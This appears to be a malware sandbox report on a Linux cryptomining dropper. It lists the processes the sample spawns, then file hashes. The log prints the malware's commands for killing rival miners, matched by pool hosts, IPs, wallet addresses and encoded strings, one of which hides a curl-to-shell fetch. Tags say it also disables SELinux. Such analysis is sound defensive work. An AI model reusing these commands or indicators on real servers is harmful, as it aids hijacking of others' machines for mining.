/bin/grepgrep he.sh2⤵PID:1522
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1524
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1525
-
-
/bin/grepgrep -v grep2⤵PID:1521
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1520
-
-
/bin/grepgrep wget2⤵PID:1529
-
-
/bin/grepgrep miner.sh2⤵PID:1528
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1530
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1531
-
-
/bin/grepgrep -v grep2⤵PID:1527
-
-
/bin/psps aux2⤵PID:1526
-
-
/bin/grepgrep curl2⤵PID:1535
-
-
/bin/grepgrep miner.sh2⤵PID:1534
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1536
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1537
-
-
/bin/grepgrep -v grep2⤵PID:1533
-
-
/bin/psps aux2⤵PID:1532
-
-
/bin/grepgrep wget2⤵PID:1541
-
-
/bin/grepgrep nullcrew2⤵PID:1540
-
-
/bin/grepgrep -v grep2⤵PID:1539
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1542
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1543
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1538
-
-
/bin/grepgrep curl2⤵PID:1547
-
-
/bin/grepgrep nullcrew2⤵PID:1546
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1548
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1549
-
-
/bin/grepgrep -v grep2⤵PID:1545
-
-
/bin/psps aux2⤵
- Reads CPU attributes
PID:1544
-
-
/bin/grepgrep 107.174.47.1562⤵PID:1552
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1553
-
-
/bin/grepgrep -v grep2⤵PID:1551
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1554
-
-
/bin/psps aux2⤵PID:1550
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1559
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1558
-
-
/bin/grepgrep 83.220.169.2472⤵PID:1557
-
-
/bin/grepgrep -v grep2⤵PID:1556
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1555
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1564
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1563
-
-
/bin/grepgrep 51.38.203.1462⤵PID:1562
-
-
/bin/grepgrep -v grep2⤵PID:1561
-
-
/bin/psps aux2⤵PID:1560
-
-
/bin/psps aux2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1565
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1569
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1568
-
-
/bin/grepgrep 144.217.45.452⤵PID:1567
-
-
/bin/grepgrep -v grep2⤵PID:1566
-
-
/bin/grepgrep 107.174.47.1812⤵PID:1572
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1574
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1573
-
-
/bin/grepgrep -v grep2⤵PID:1571
-
-
/bin/psps aux2⤵
- Reads runtime system information
PID:1570
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1579
-
-
/bin/grepgrep 176.31.6.162⤵PID:1577
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1578
-
-
/bin/grepgrep -v grep2⤵PID:1576
-
-
/bin/psps aux2⤵PID:1575
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1583
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1584
-
-
/bin/grepgrep mine.moneropool.com2⤵PID:1582
-
-
/bin/grepgrep -v grep2⤵PID:1581
-
-
/bin/psps auxf2⤵PID:1580
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1589
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1588
-
-
/bin/grepgrep pool.t00ls.ru2⤵PID:1587
-
-
/bin/grepgrep -v grep2⤵PID:1586
-
-
/bin/psps auxf2⤵PID:1585
-
-
/bin/grepgrep xmr.crypto-pool.fr:80802⤵
- Disables SELinux
PID:1592
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1594
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1593
-
-
/bin/grepgrep -v grep2⤵PID:1591
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1590
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1598
-
-
/bin/grepgrep xmr.crypto-pool.fr:33332⤵PID:1597
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1599
-
-
/bin/grepgrep -v grep2⤵PID:1596
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1595
-
-
/bin/grepPID:1602
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1603
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1604
-
-
/bin/grepgrep -v grep2⤵PID:1601
-
-
/bin/psps auxf2⤵PID:1600
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1609
-
-
/bin/grepgrep monerohash.com2⤵PID:1607
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1608
-
-
/bin/grepgrep -v grep2⤵PID:1606
-
-
/bin/psps auxf2⤵PID:1605
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1614
-
-
/bin/grepgrep /tmp/a7b104c2702⤵
- Disables SELinux
PID:1612
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1613
-
-
/bin/grepgrep -v grep2⤵PID:1611
-
-
/bin/psps auxf2⤵PID:1610
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1618
-
-
/bin/grepgrep xmr.crypto-pool.fr:66662⤵PID:1617
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1619
-
-
/bin/grepgrep -v grep2⤵PID:1616
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1615
-
-
/bin/grepgrep xmr.crypto-pool.fr:77772⤵PID:1622
-
-
/bin/grepgrep -v grep2⤵PID:1621
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1624
-
-
/bin/psps auxf2⤵PID:1620
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1623
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1628
-
-
/bin/grepgrep xmr.crypto-pool.fr:4432⤵PID:1627
-
-
/bin/grepgrep -v grep2⤵PID:1626
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1629
-
-
/bin/psps auxf2⤵
- Reads CPU attributes
PID:1625
-
-
/bin/grepgrep stratum.f2pool.com:88882⤵PID:1632
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1633
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1634
-
-
/bin/grepgrep -v grep2⤵PID:1631
-
-
/bin/psps auxf2⤵PID:1630
-
-
/bin/grepgrep xmrpool.eu2⤵PID:1637
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1638
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1639
-
-
/bin/grepgrep -v grep2⤵PID:1636
-
-
/bin/psps auxf2⤵
- Reads runtime system information
PID:1635
-
-
/bin/psps auxf2⤵PID:1640
-
-
/bin/grepgrep -v grep2⤵PID:1641
-
-
/bin/grepgrep kieuanilam.me2⤵PID:1642
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1643
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1644
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1648
-
/usr/local/sbin/killkill -9 16463⤵PID:1649
-
-
/usr/local/bin/killkill -9 16463⤵PID:1649
-
-
/usr/sbin/killkill -9 16463⤵PID:1649
-
-
/usr/bin/killkill -9 16463⤵PID:1649
-
-
/sbin/killkill -9 16463⤵PID:1649
-
-
/bin/killkill -9 16463⤵PID:1649
-
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1647
-
-
/bin/grepgrep xiaoyao2⤵PID:1646
-
-
/bin/psps auxf2⤵PID:1645
-
-
/bin/grepgrep xiaoxue2⤵PID:1651
-
-
/usr/bin/awkawk "{print \$2}"2⤵PID:1652
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1653
-
/usr/local/sbin/killkill -9 16513⤵PID:1654
-
-
/usr/local/bin/killkill -9 16513⤵PID:1654
-
-
/usr/sbin/killkill -9 16513⤵PID:1654
-
-
/usr/bin/killkill -9 16513⤵PID:1654
-
-
/sbin/killkill -9 16513⤵PID:1654
-
-
/bin/killkill -9 16513⤵PID:1654
-
-
-
/bin/psps auxf2⤵PID:1650
-
-
/bin/grepgrep 46.243.253.152⤵PID:1656
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1657
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1658
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1660
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1659
-
-
/bin/grepgrep 176.31.6.162⤵PID:1662
-
-
/bin/grepgrep "ESTABLISHED\\|SYN_SENT"2⤵PID:1663
-
-
/usr/bin/awkawk "{print \$7}"2⤵PID:1664
-
-
/bin/sedsed -e "s/\\/.*//g"2⤵PID:1665
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1666
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1668
-
-
/usr/bin/pgreppgrep -f L2Jpbi9iYXN2⤵PID:1667
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1670
-
-
/usr/bin/pgreppgrep -f xzpauectgr2⤵PID:1669
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1672
-
-
/usr/bin/pgreppgrep -f slxfbkmxtd2⤵
- Reads CPU attributes
PID:1671
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1674
-
-
/usr/bin/pgreppgrep -f mixtape2⤵PID:1673
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1676
-
-
/usr/bin/pgreppgrep -f addnj2⤵PID:1675
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1678
-
-
/usr/bin/pgreppgrep -f 200.68.17.1962⤵PID:1677
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1680
-
-
/usr/bin/pgreppgrep -f IyEvYmluL3NoCgpzUG2⤵PID:1679
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1682
-
-
/usr/bin/pgreppgrep -f KHdnZXQgLXFPLSBodHRw2⤵PID:1681
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1684
-
-
/usr/bin/pgreppgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS32⤵PID:1683
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1686
-
-
/usr/bin/pgreppgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo2⤵PID:1685
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1688
-
-
/usr/bin/pgreppgrep -f mwyumwdbpq.conf2⤵PID:1687
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1690
-
-
/usr/bin/pgreppgrep -f honvbsasbf.conf2⤵
- Reads runtime system information
PID:1689
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1692
-
-
/usr/bin/pgreppgrep -f mqdsflm.cf2⤵PID:1691
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1694
-
-
/usr/bin/pgreppgrep -f lower.sh2⤵PID:1693
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1696
-
-
/usr/bin/pgreppgrep -f ./ppp2⤵PID:1695
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1698
-
-
/usr/bin/pgreppgrep -f cryptonight2⤵PID:1697
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1700
-
-
/usr/bin/pgreppgrep -f ./seervceaess2⤵
- Reads runtime system information
PID:1699
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1702
-
-
/usr/bin/pgreppgrep -f ./servceaess2⤵
- Reads runtime system information
PID:1701
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1704
-
-
/usr/bin/pgreppgrep -f ./servceas2⤵PID:1703
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1706
-
-
/usr/bin/pgreppgrep -f ./servcesa2⤵
- Reads runtime system information
PID:1705
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1708
-
-
/usr/bin/pgreppgrep -f ./vsp2⤵PID:1707
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1710
-
-
/usr/bin/pgreppgrep -f ./jvs2⤵
- Reads runtime system information
PID:1709
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1712
-
-
/usr/bin/pgreppgrep -f ./pvv2⤵PID:1711
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1714
-
-
/usr/bin/pgreppgrep -f ./vpp2⤵PID:1713
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1716
-
-
/usr/bin/pgreppgrep -f ./pces2⤵PID:1715
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1718
-
-
/usr/bin/pgreppgrep -f ./rspce2⤵
- Reads CPU attributes
PID:1717
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1720
-
-
/usr/bin/pgreppgrep -f ./haveged2⤵PID:1719
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1722
-
-
/usr/bin/pgreppgrep -f ./jiba2⤵PID:1721
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1724
-
-
/usr/bin/pgreppgrep -f ./watchbog2⤵
- Reads CPU attributes
PID:1723
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1726
-
-
/usr/bin/pgreppgrep -f ./A7mA5gb2⤵
- Reads CPU attributes
PID:1725
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1728
-
-
/usr/bin/pgreppgrep -f kacpi_svc2⤵PID:1727
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1730
-
-
/usr/bin/pgreppgrep -f kswap_svc2⤵PID:1729
-
-
/usr/bin/pgreppgrep -f kauditd_svc2⤵PID:1731
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1732
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1734
-
-
/usr/bin/pgreppgrep -f kpsmoused_svc2⤵
- Reads runtime system information
PID:1733
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1736
-
-
/usr/bin/pgreppgrep -f kseriod_svc2⤵
- Reads CPU attributes
PID:1735
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1738
-
-
/usr/bin/pgreppgrep -f kthreadd_svc2⤵
- Reads CPU attributes
PID:1737
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1740
-
-
/usr/bin/pgreppgrep -f ksoftirqd_svc2⤵
- Reads CPU attributes
PID:1739
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1742
-
-
/usr/bin/pgreppgrep -f kintegrityd_svc2⤵PID:1741
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1744
-
-
/usr/bin/pgreppgrep -f jawa2⤵PID:1743
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1746
-
-
/usr/bin/pgreppgrep -f oracle.jpg2⤵PID:1745
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1748
-
-
/usr/bin/pgreppgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN2⤵PID:1747
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1750
-
-
/usr/bin/pgreppgrep -f 188.209.49.542⤵
- Reads CPU attributes
- Reads runtime system information
PID:1749
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1752
-
-
/usr/bin/pgreppgrep -f 181.214.87.2412⤵PID:1751
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1754
-
-
/usr/bin/pgreppgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ2⤵
- Reads runtime system information
PID:1753
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1756
-
-
/usr/bin/pgreppgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj2⤵
- Reads runtime system information
PID:1755
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1758
-
-
/usr/bin/pgreppgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK2⤵PID:1757
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1760
-
-
/usr/bin/pgreppgrep -f servim2⤵PID:1759
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1762
-
-
/usr/bin/pgreppgrep -f kblockd_svc2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1761
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1764
-
-
/usr/bin/pgreppgrep -f native_svc2⤵
- Reads runtime system information
PID:1763
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1766
-
-
/usr/bin/pgreppgrep -f ynn2⤵PID:1765
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1768
-
-
/usr/bin/pgreppgrep -f 65ccEJ72⤵PID:1767
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1770
-
-
/usr/bin/pgreppgrep -f jmxx2⤵PID:1769
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵
- Attempts to change immutable files
PID:1772
-
-
/usr/bin/pgreppgrep -f 2Ne80nA2⤵PID:1771
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1774
-
-
/usr/bin/pgreppgrep -f sysstats2⤵
- Reads runtime system information
PID:1773
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1776
-
-
/usr/bin/pgreppgrep -f systemxlv2⤵PID:1775
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1778
-
-
/usr/bin/pgreppgrep -f watchbog2⤵PID:1777
-
-
/usr/bin/xargsxargs -I "%" kill -9 "%"2⤵PID:1780
-
-
/usr/bin/pgreppgrep -f OIcJi1m2⤵
- Reads runtime system information
PID:1779
-
-
/usr/bin/pkillpkill -f biosetjenkins2⤵
- Reads CPU attributes
PID:1781
-
-
/usr/bin/pkillpkill -f Loopback2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1782
-
-
/usr/bin/pkillpkill -f apaceha2⤵PID:1783
-
-
/usr/bin/pkillpkill -f cryptonight2⤵
- Reads CPU attributes
PID:1784
-
-
/usr/bin/pkillpkill -f mixnerdx2⤵PID:1785
-
-
/usr/bin/pkillpkill -f performedl2⤵PID:1786
-
-
/usr/bin/pkillpkill -f JnKihGjn2⤵PID:1787
-
-
/usr/bin/pkillpkill -f irqba2anc12⤵
- Reads runtime system information
PID:1788
-
-
/usr/bin/pkillpkill -f irqba5xnc12⤵
- Reads CPU attributes
PID:1789
-
-
/usr/bin/pkillpkill -f irqbnc12⤵PID:1790
-
-
/usr/bin/pkillpkill -f ir29xc12⤵PID:1791
-
-
/usr/bin/pkillpkill -f conns2⤵PID:1792
-
-
/usr/bin/pkillpkill -f irqbalance2⤵PID:1793
-
-
/usr/bin/pkillpkill -f crypto-pool2⤵PID:1794
-
-
/usr/bin/pkillpkill -f XJnRj2⤵
- Reads CPU attributes
PID:1795
-
-
/usr/bin/pkillpkill -f mgwsl2⤵
- Reads CPU attributes
PID:1796
-
-
/usr/bin/pkillpkill -f pythno2⤵PID:1797
-
-
/usr/bin/pkillpkill -f jweri2⤵PID:1798
-
-
/usr/bin/pkillpkill -f lx262⤵PID:1799
-
-
/usr/bin/pkillpkill -f NXLAi2⤵PID:1800
-
-
/usr/bin/pkillpkill -f BI5zj2⤵
- Reads runtime system information
PID:1801
-
-
/usr/bin/pkillpkill -f askdljlqw2⤵PID:1802
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1803
-
-
/usr/bin/pkillpkill -f minergate2⤵
- Reads CPU attributes
PID:1804
-
-
/usr/bin/pkillpkill -f Guard.sh2⤵PID:1805
-
-
/usr/bin/pkillpkill -f ysaydh2⤵PID:1806
-
-
/usr/bin/pkillpkill -f bonns2⤵PID:1807
-
-
/usr/bin/pkillpkill -f donns2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1808
-
-
/usr/bin/pkillpkill -f kxjd2⤵PID:1809
-
-
/usr/bin/pkillpkill -f Duck.sh2⤵
- Reads CPU attributes
PID:1810
-
-
/usr/bin/pkillpkill -f bonn.sh2⤵
- Reads CPU attributes
- Reads runtime system information
PID:1811
-
-
/usr/bin/pkillpkill -f conn.sh2⤵
- Reads CPU attributes
PID:1812
-
-
/usr/bin/pkillpkill -f kworker342⤵
- Reads CPU attributes
PID:1813
-
-
/usr/bin/pkillpkill -f kw.sh2⤵
- Reads CPU attributes
PID:1814
-
-
/usr/bin/pkillpkill -f pro.sh2⤵
- Reads runtime system information
PID:1815
-
-
/usr/bin/pkillpkill -f polkitd2⤵PID:1816
-
-
/usr/bin/pkillpkill -f acpid2⤵
- Reads runtime system information
PID:1817
-
-
/usr/bin/pkillpkill -f icb5o2⤵PID:1818
-
-
/usr/bin/pkillpkill -f nopxi2⤵PID:1819
-
-
/usr/bin/pkillpkill -f irqbalanc12⤵
- Reads runtime system information
PID:1820
-
-
/usr/bin/pkillpkill -f minerd2⤵PID:1821
-
-
/usr/bin/pkillpkill -f i5862⤵PID:1822
-
-
/usr/bin/pkillpkill -f gddr2⤵
- Reads CPU attributes
PID:1823
-
-
/usr/bin/pkillpkill -f mstxmr2⤵
- Reads runtime system information
PID:1824
-
-
/usr/bin/pkillpkill -f ddg.20112⤵PID:1825
-
-
/usr/bin/pkillpkill -f wnTKYg2⤵PID:1826
-
-
/usr/bin/pkillpkill -f deamon2⤵PID:1827
-
-
/usr/bin/pkillpkill -f disk_genius2⤵PID:1828
-
-
/usr/bin/pkillpkill -f sourplum2⤵PID:1829
-
-
/usr/bin/pkillpkill -f polkitd2⤵
- Reads CPU attributes
PID:1830
-
-
/usr/bin/pkillpkill -f nanoWatch2⤵PID:1831
-
-
/usr/bin/pkillpkill -f zigw2⤵PID:1832
-
-
/usr/bin/pkillpkill -f devtool2⤵PID:1833
-
-
/usr/bin/pkillpkill -f devtools2⤵
- Reads runtime system information
PID:1834
-
-
/usr/bin/pkillpkill -f systemctI2⤵PID:1835
-
-
/usr/bin/pkillpkill -f watchbog2⤵
- Reads CPU attributes
PID:1836
-
-
/usr/bin/pkillpkill -f cryptonight2⤵PID:1837
-
-
/usr/bin/pkillpkill -f sustes2⤵PID:1838
-
-
/usr/bin/pkillpkill -f xmrig2⤵
- Reads CPU attributes
PID:1839
-
-
/usr/bin/pkillpkill -f xmrig-cpu2⤵PID:1840
-
-
/usr/bin/pkillpkill -f 121.42.151.1372⤵PID:1841
-
-
/usr/bin/pkillpkill -f init12.cfg2⤵PID:1842
-
-
/usr/bin/pkillpkill -f nginxk2⤵PID:1843
-
-
/usr/bin/pkillpkill -f tmp/wc.conf2⤵PID:1844
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
2B
MD5b026324c6904b2a9cb4b88d6d61c81d1
SHA1e5fa44f2b31c1fb553b6021e7360d07d5d91ff5e
SHA2564355a46b19d348dc2f57c046f8ef63d4538ebb936000f3c9ee954a27460dd865
SHA5123abb6677af34ac57c0ca5828fd94f9d886c26ce59a8ce60ecf6778079423dccff1d6f19cb655805d56098e6d38a1a710dee59523eed7511e5a9e4b8ccb3a4686
-
Filesize
2.4MB
MD53c4422a6f1d085fcc16e526c48adf547
SHA1c936b4732c59f107ad777fa4ab19dd21394f1d98
SHA256825c60dd1bb32cd6b7e6686f425c461532093b1e9f6ca662c1ea9b07ec7e470b
SHA5123733e82fc4c7d65a22bc49025e180000b3351aff4dbbc7f71ae81ee79c78976b26fdbe854b77edffe6ca8be87761689a16e81f3a48cd62d3405958ad64520c24
-
Filesize
14KB
MD5acdd938a49c8649f09ac5161e179f436
SHA1a0280dfedd8a81bf583b988e2b87f36705411347
SHA2568037fc1be0bf4f74bcfddadc1d3b0caf64076d56d36504c8bd68da94608d872a
SHA51228172ada3f95e5c0ea9c952ec7fca38ba11c871286fc91ff8cc2193233ef2a18cdd7e8dc56fb0f335030aed2ef9c3fb4a9f9b16eb5c6d8f2021fbbeeb4bad010
-
Filesize
150B
MD5eab0c11ba6d2b18c3e0e3714393804c2
SHA12dc66c4c5cc2f68f57675b8102eb037883bff203
SHA25663adfd622476b88e2a381218d853b913decb11c80f240d1ffb836d8020fb433e
SHA512e78d697a71f1e4382b57acab88e752910fc1780ded1bd1b02bd3fb7b7651497a4f4ae7f76655d784ad1d408853629fab7f2e690100ec532d510ebc6f22c12dd1
-
Filesize
2KB
MD5df3803b8b18481fbc63a8e2cecf22500
SHA1b44877d6f781a28f1ad3f0cc337c9c3cc7bffd96
SHA256b60a267608ea13830bfe41c7ee0f726a6562855112cf2310332dad43854e370a
SHA5128fab13258b597c5363c727a3208426a17dc1d66aaebee4977b2b5c8eb4044f09626167a75e69831a45095ca2b8cfaaa57eca6fea93a643f43266943765f7538d
-
Filesize
5.8MB
MD547d4dd12a8d89c10e8b8d32187c73f6a
SHA18c24d5bc0c7bdd0d7a6a23f5b75e80bd03b6ae11
SHA25611b45924f96844764c7ae56ce0b6ac3c43d3a732bc7101d7ce85ea52d0455afd
SHA5122f6ebcbe9a1eb577a2664f0a210abaa1914a2ef8883405b34ec2aaf23d2cff255c78d8a67835d87d16b520e5dde6287de25ee4459457d7166a1a041cbf471e92
-
Filesize
843B
MD58c5cc43ce7f2564040d2f3ec9146d8a5
SHA1f89fd0e26c70d13d08b7a3b3c5a966dc6f5b168d
SHA256d2acaa6c6b43913709c9fc7814b6f7a44ec31b69c21d18dc527e487e93311132
SHA51284f2930eb40d0bc5beeedb42e564b02e3796356d28ba8279d2915520d6d146d6939ed495e27661a9f95e50f84a12a6c37d6584c203e29ef515e1afd39c9108c6
-
Filesize
1KB
MD5644a2a75f6ce1498b20eedb05895525a
SHA1b51bf6e1d7760426c58c7e6a8b1cd96668b606ae
SHA256b178aae6c8f424d65175f8f0a9d1338be629d3d4a461a82814401aa73f984e17
SHA51223301b510e4d5b27a84eca032c453c710bf416f5ed5182830532f983e6c2c08ba34876d226513d55f003128abbad82db3e5c1ef715efae991df48903d8871cb6
-
Filesize
2KB
MD532ae3b50a16e9bb92b5fded30a16b31e
SHA1619a387d6706f34bf45532d063f178ad114a150b
SHA2568a693b4f5c9513399387f1d3d21970ead1952636ee9ca06169eb8d1e6be98672
SHA5126e0d9383d8b38338bce0064d28f6190fbffb8512888361d930087887eebd2825a448ddd1cce6ec9f544f945d9622bcd6e37531b7cda2dcafd54943a5b01a4de1
-
Filesize
3KB
MD5199765efd73e8f942f8f9271747953f5
SHA1cfbf4cdde89450e15aa1fa2a118406036384283d
SHA256cbf52bbf4ea09770fd09301d334b16fbbab3898f96c572ce6b7a22c28144b866
SHA5126f7e617d5af42e622808a2629bb6a3686ff24d04b762cca3dc94898c91bee2ab8e82fe41c0dacd089da1f82351337060b9138a24a0bb82a2301a07676e61796c
-
Filesize
4KB
MD53a990193e2ee1555e352d5f9b5798de0
SHA1d3141bc6dd962eb9b23ee8385a245ea11d6c5dbd
SHA256b284588ac7adb6c529ad90c6758a356ebb491d931990215de2f17cc37afa9576
SHA512bf5b95ab4ad6472d73c7a27835b6cf7381a18bb4da35678e3854015c61998c1a98cb9267cda2d39f8fd3709f01733320f46571cd4f1104ebeed3829699c0f960
-
Filesize
4KB
MD5be054b4a7e549e9da368248960605f96
SHA16f4f4617b75b9bc0ecf20a28a36dd14e5532fa89
SHA256cbecfd5a1ec632c881750cb215558085d694b83387c5799af8fc95a44790c760
SHA51277e7ca9f1847bfbad150aef3340a0bf42f59eba3ab112dc50e9f2b8e6f41ef2b7254442bf6c46f871f468e70e59aaac065f9ea8cfaa960b1be3b7f57b0832ab8
-
Filesize
128B
MD57bbab49b9721a4e50337b3f4707279c5
